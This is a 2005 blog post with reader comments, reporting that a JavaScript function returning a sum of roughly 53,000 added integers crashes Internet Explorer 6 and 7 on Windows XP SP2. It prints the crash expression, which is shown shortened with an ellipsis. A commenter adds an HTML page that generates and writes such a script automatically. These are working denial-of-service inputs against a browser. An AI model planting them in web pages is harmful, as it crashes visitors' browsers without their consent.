Crash IE 6 and 7 on SP2 with Javascript
The following causes IE6sp2 and IE7sp2 on Windows XP Pro to crash:
function oiTAeMRw(){return 45446 + 0 + 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + 10 + 11 + 12 + 13 + 14 + 15 + 16 + 17 + 18 + 19 + 20 + 21 + 22 + 23 + 24 + 25 + 26 + 27 + 28 + 29 + 30 + 31 + 32 + 33 + 34 + 35 + 36 + 37 + 38 + 39 + 40 + 41 + 42 + 43 + 44 + 45 + 46 + 47 + 48 + 49 + 50 + 51 + 52 + 53 + 54 + 55 + 56 + 57 + 58 + 59 + 60 + 61 + 62 + 63 + 64 + 65 + 66 + 67 + 68 + 69 + 70 + 71 + 72 + 73 + 74 + 75 + 76 + 77 + 78 + 79 + 80 + 81 + 82 + 83 + 84 + 85 + 86 + 87 + 88 + 89 + 90 + 91 + 92 + 93 + 94 + 95 + 96 + 97 + 98 + 99 + 100 + 101 + 102 + 103 + 104 + 105 + 106 + 107 + 108 + 109 + 110 + 111 + 112 + 113 + 114 + 115 + 116 + 117 + 118 + 119 + 120 + 121 + 122 + 123 + 124 + 125 + 126 + 127 + 128 + 129 + 130 + 131 + 132 + 133 + 134 + 135 + 136 + 137 + 138 + 139 + 140 + 141 + 142 + 143 + 144 + 145 + 146 + 147 + 148 + 149 + 150 + 151 + 152 + 153 + 154 + 155 + 156 + 157 + 158 + 159 + 160 + 161 + 162 + 163 + 164 + 165 + 166 + 167 + 168 + 169 + 170 + 171 + 172 + 173 + 174 + 175 + 176 + 177 + 178 + 179 + 180 + 181 + 182 + 183 + 184 + 185 + 186 + 187 + 188 + 189 + 190 + 191 + 192 + 193 + 194 + 195 + 196 + 197 + 198 + 199 + 200 + 201 + 202 + 203 + 204 + 205 + 206 + 207 + 208 + 209 + 210 + 211 + 212 + 213 + 214 + 215 + 216 + 217 + 218 + 219 + 220 + 221 + 222 + 223 + 224 + 225 + 226 + 227 + 228 + 229 + 230 + 231 + 232 + 233 + 234 + 235 + 236 + 237 + 238 + 239 + 240 + 241 + 242 + 243 + 244 + 245 + 246 + 247 + 248 + … + 53317 + 53318 + 53319 + 53320 + 53321 + 53322 + 53323 + 53324 + 53325 + 53326 + 53327 + 53328 + 53329 + 53330 + 53331 + 53332 + 53333 + 53334 + 53335 + 53336 + 53337 + 53338 + 53339 + 53340 + 53341 + 53342 + 53343 + 53344 + 53345 + 53346 + 53347 + 53348 + 53349 + 53350 + 53351 + 53352 + 53353 + 53354 + 53355 + 53356 + 53357 + 53358 + 53359 + 53360 + 53361 + 53362 + 53363 + 53364 + 53365 + 53366 + 53367 + 53368 + 53369 + 53370 + 53371 + 53372 + 53373 + 53374 + 53375 + 53376 + 53377 + 53378 + 53379 + 53380 + 53381 + 53382 + 53383 + 53384 + 53385 + 53386 + 53387 + 53388 + 53389 + 53390 + 53391 + 53392 + 53393 + 53394 + 53395 + 53396 + 53397 + 53398 + 53399 + 53400 + 53401 + 53402 + 53403 + 53404 + 53405 + 53406 + 53407 + 53408 + 53409 + 53410 + 53411 + 53412 + 53413 + 53414 + 53415 ;}
This is all on one line. Maybe IE just can’t handle such long lines? Otherwise, it’s crashing the execution stack of the javascript because the expression is ~50,000 elements nested. Firefox is ok with this, by the way.
| This entry was posted on Monday, October 3rd, 2005 at 9:55 am and is tagged with sp2, crash, windows xp, 163, 192, 53331. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback. |

Yet another reason why Firefox is better than IE…
You would have to create this javascript yourself, quite painfully I might add. You can do it in javascript like so:
<html>
<head>
<title>!!!</title>
</head>
<body>
<script type="text/javascript">
var i = 0;
var str = ‘function test(){ return ‘;
while(i < 2147483647 ){
if(i > 0)
str += ‘ + ‘;
str += i++;
}
str += ‘}’;
document.write(str);
</script>
</body>
</html>
Got an example page? IE gives me the Information Bar.
The crashing pat does work hehe. i normally use Firefox so no problem for me